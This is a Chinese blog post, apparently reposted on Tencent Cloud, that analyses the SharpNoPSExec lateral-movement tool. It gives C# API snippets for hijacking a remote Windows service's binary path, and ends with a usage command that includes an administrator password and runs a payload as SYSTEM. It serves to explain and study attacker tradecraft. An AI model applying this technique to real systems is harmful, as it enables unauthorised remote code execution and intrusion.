专栏首页鸿鹄实验室由SharpNoPSExec看lateral movement

由SharpNoPSExec看lateral movement

前言

Github上发布了一款名叫SharpNoPSExec的工具,地址为https://github.com/juliourena/SharpNoPSExec 主要功能就是后渗透中的横向移动。而横向移动也一直是老生常谈的话题,无论是PSexec还是wmi等等都是为了快速获取其他目标的权限,而目前各类的杀软、EDR也已经对此类攻击方式做了许多的防御,那PSexec来说,默认情况下是使用服务来在目标机器上来执行代码,而也有部分防御设备是按照psexec的默认服务名来进行防御的,而其也可通过参数来设置服务名。

我们就从SharpNoPSExe该工具,来窥探Psexec的执行方法。

分析

在分析该工具之前,我们先来了解服务创建、执行的基本步骤。首先是OpenSCManagerW

SC_HANDLE OpenSCManagerW(
 LPCWSTR lpMachineName,
 LPCWSTR lpDatabaseName,
 DWORD dwDesiredAccess
);

关于api的基本释义这里就不多说了,c# 的 demo如下:

using System;
using System.Runtime.InteropServices;

namespace Win32Test
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true,
CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName,
uint dwAccess);
        static void Main(string[] args)
        {
            String target = "appsrv01";

            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

        }
    }
}

服务打开后我们该使用下面的api ChangeServiceConfigA来进行操作,函数原型如下:

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

使用方法如下,先导入函数:

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);

然后调用:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);

此时便可以将指定服务的程序,替换为自定义程序。

然后就是开启服务,api为StartService ,原型如下:

BOOL StartServiceA(
 SC_HANDLE hService,
 DWORD dwNumServiceArgs,
 LPCSTR *lpServiceArgVectors
);

导入调用:

[DllImport("advapi32", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]
lpServiceArgVectors);

bResult = StartService(schService, 0, null);

然后这就是本地服务操作的基本流程了。但是我们需要操作的远程计算机所以又用到了下面的函数:

BOOL LogonUserA(
  LPCSTR  lpszUsername,
  LPCSTR  lpszDomain,
  LPCSTR  lpszPassword,
  DWORD   dwLogonType,
  DWORD   dwLogonProvider,
  PHANDLE phToken
);
BOOL ImpersonateLoggedOnUser(
  HANDLE hToken
);

那么目前我们的执行流程也就有了:

登录用户-----> 打开远程服务 -----> 设置服务执行程序为我们的payload -----> 开启服务

SharpNoPSExec也是这样来做的:

利用

SharpNoPSExec.exe --target=192.168.2.110 --payload="c:\windows\system32\cmd.exe /c calc.exe" --username=administrator --password=abc123!

目前成功开启calc进程,权限为system

更多精彩推荐,请关注我们

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-04-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 干货 | ATT&CK渗透测试手册

    由DeadEye安全团队根据ATT&CK知识体系编制出长达400页的渗透手册已经全部完成。现将该手册发放给大家,希望大家在即将到来的播种季节播种知识的种子,等待...

    HACK学习
  • 通过 DCOM 的 ShellWindows & ShellBrowserWindow 进行横向渗透

    这个系列的文章翻译由信安之路红蓝对抗小组的所有成员共同完成,后续将陆续发布,敬请期待!

    信安之路
  • Cobalt Strike 4.0 Updates You Should Know

    我相信大家都被一条信息给炸了锅“cobaltstrike4.0破解版出来了”,这对于我们这些穷逼来说是一件好事,今天我就带大家看看cs4.0更新了啥

    Gcow安全团队
  • 云渗透安全 - Nebula 自动化测试

    Nebula 是一个云和(希望如此)DevOps 渗透测试框架。它为每个提供者和每个功能构建了模块。截至 2021 年 4 月,它仅涵盖 AWS,但目前是一个正...

    Aran
  • OFFENSIVE LATERAL MOVEMENT 横向移动(译文)

    近期看了一篇不错的横向移动的文章,觉得不错就简单翻译了一下(谷歌翻译哈哈哈哈!) 原文地址:https://posts.specterops.io/offens...

    黑白天安全
  • 网络安全评估和零信任模型

    在过去的几年里,“零信任”体系结构的概念经历了许多演进阶段。它已经从一个炙手可热的新时尚,变成了陈腐的东西(很大程度上是由于那些想在这个趋势上赚钱的人的大量营销...

    YH
  • T1028: WinRM for Lateral Movement

    WinRM(Windows Remote Management是WS-Management Protocol Microsoft 实现(具体体现为Win RM...

    鸿鹄实验室
  • Lateral Movement之WMI事件订阅

     在之前,我曾在安全客分享过《wmi攻击与防御》的相关议题。里面介绍了关于wmi的一些相关内容,其中提到了使用wmi进行横向移动的方法,只是当时由于时间原因并未...

    鸿鹄实验室
  • 剧透Black Hat 2017将要发布的8款安全工具

    举世瞩目的Black Hat 2017即将于7月22-27日,在美国的拉斯维加斯盛大举行。作为信息安全方面的顶级会议,每年Black Hat都会带给我们许许多多...

    FB客服
  • Hive应用:explode和lateral view

    这个函数大多数人都接触过,将一行数据转换成列数据,可以用于array和map类型的数据。

    云飞扬
  • 云原生时代,系统安全分哪几个层次?

    作者介绍:陈伟嘉,毕业于加州大学尔湾分校,曾就职于Facebook、Splunk,现任玉符科技 CTO,负责玉符 IDaaS 技术架构设计和实现,带领研发团队从...

    玉符IDaaS
  • 深入解析:Row Movement 的原理和性能影响与关联

    作者简介: ? 黄玮(Fuyuncat) 资深Oracle DBA,个人网站www.HelloDBA.com,致力于数据库底层技术的研究,其作品获得广大同行...

    数据和云
  • Hive项目实战系列(3) | 业务分析

    不温卜火
  • 天哪!跟真的一样(CSS)

      无论是css还是别的,前端的学习总是妙趣横生,只要思想在不断进步,技术就会一次次的突破。如果你学习过CSS,你会更加了解这段代码的神奇,送给你,远道而来的求...

    我不是费圆
  • json_tuple一定比 get_json_object更高效吗?

    要理性的比较json_tuple和get_json_object的效率,最近有朋友问我:hive中取多个key时,为什么用了json_tuple,效率反而比ge...

    数据仓库践行者
  • Hive的安装与使用-1

    1.下载tar包,在客户端窗口上执行 wget -c http://archive.cloudera.com/cdh5/cdh/5/hive-1.1.0-cd...

    sparkle123
  • 算法人必懂的进阶SQL知识,4道面试常考题

    近期在不同群里有小伙伴们提出了一些在面试和笔试中遇到的Hive SQL问题,Hive作为算法工程师的一项必备技能,在面试中也是极有可能被问到的,所以有备无患,本...

    AI科技大本营
  • 常用Hive函数的学习和总结

    今天来小结一下工作中经常会使用到的一些Hive函数。关于Hive函数的总结,网上早有十分全面的版本。参考:https://blog.csdn.net/dovey...

    超哥的杂货铺
  • 算法人必懂的进阶SQL知识,4道面试常考题

    近期在不同群里有小伙伴们提出了一些在面试和笔试中遇到的Hive SQL问题,Hive作为算法工程师的一项必备技能,在面试中也是极有可能被问到的,所以有备无患,本...

    double

扫码关注云+社区

领取腾讯云代金券